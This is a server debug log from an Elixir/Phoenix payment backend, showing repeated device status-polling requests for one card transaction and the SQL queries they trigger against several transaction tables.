SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:03:40.316000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50056] QUERY OK source="cloud_transaction" db=0.5ms queue=0.1ms idle=504.4ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:03:40.317000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:50056] Sent 200 in 19ms
[Thu Sep  3 10:03:44.938000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:50064] POST /api/device/status
[Thu Sep  3 10:03:44.939000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:50064] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:03:44.940000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50064] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:03:44.940000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50064] Transaction reference number: "ch206298523881"
[Thu Sep  3 10:03:44.953000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50064] QUERY OK source="pos_transaction" db=13.0ms idle=1126.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:03:44.955000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50064] QUERY OK source="pos_temp_transaction" db=0.6ms idle=1139.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:03:44.958000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50064] QUERY OK source="pos_failed_transaction" db=2.7ms idle=1141.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:03:44.960000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50064] QUERY OK source="cloud_transaction" db=1.5ms queue=0.1ms idle=1144.3ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:03:44.960000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:50064] Sent 200 in 21ms
[Thu Sep  3 10:03:49.902000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:50662] POST /api/device/status
[Thu Sep  3 10:03:49.903000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:50662] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:03:49.904000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50662] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:03:49.904000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50662] Transaction reference number: "ch206298523881"
[Thu Sep  3 10:03:49.921000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50662] QUERY OK source="pos_transaction" db=16.1ms idle=1091.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:03:49.923000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50662] QUERY OK source="pos_temp_transaction" db=1.5ms queue=0.1ms idle=1107.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:03:49.927000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50662] QUERY OK source="pos_failed_transaction" db=3.2ms idle=1109.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:03:49.927000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50662] QUERY OK source="cloud_transaction" db=0.4ms queue=0.1ms idle=1113.3ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:03:49.928000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:50662] Sent 200 in 25ms
[Thu Sep  3 10:03:54.863000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:50668] POST /api/device/status
[Thu Sep  3 10:03:54.863000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:50668] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:03:54.863000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50668] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:03:54.863000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50668] Transaction reference number: "ch206298523881"
[Thu Sep  3 10:03:54.878000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50668] QUERY OK source="pos_transaction" db=13.8ms idle=1050.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:03:54.879000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50668] QUERY OK source="pos_temp_transaction" db=0.4ms idle=1064.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:03:54.882000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50668] QUERY OK source="pos_failed_transaction" db=2.8ms idle=1065.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:03:54.883000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50668] QUERY OK source="cloud_transaction" db=0.7ms idle=1068.3ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:03:54.883000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:50668] Sent 200 in 20ms
[Thu Sep  3 10:03:59.910000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:43312] POST /api/device/status
[Thu Sep  3 10:03:59.910000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:43312] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:03:59.910000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:43312] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:03:59.910000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:43312] Transaction reference number: "ch206298523881"
[Thu Sep  3 10:03:59.925000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:43312] QUERY OK source="pos_transaction" db=14.1ms idle=1097.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:03:59.926000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:43312] QUERY OK source="pos_temp_transaction" db=0.9ms queue=0.1ms idle=1111.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:03:59.929000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:43312] QUERY OK source="pos_failed_transaction" db=2.6ms idle=1113.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:03:59.930000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:43312] QUERY OK source="cloud_transaction" db=0.6ms idle=1116.1ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:03:59.930000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:43312] Sent 200 in 20ms
[Thu Sep  3 10:04:05.018000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:43318] POST /api/device/status
[Thu Sep  3 10:04:05.018000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:43318] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:04:05.018000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:43318] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:04:05.018000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:43318] Transaction reference number: "ch206298523881"
[Thu Sep  3 10:04:05.033000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:43318] QUERY OK source="pos_transaction" db=13.9ms idle=1204.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:04:05.036000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:43318] QUERY OK source="pos_temp_transaction" db=0.6ms idle=1220.9ms
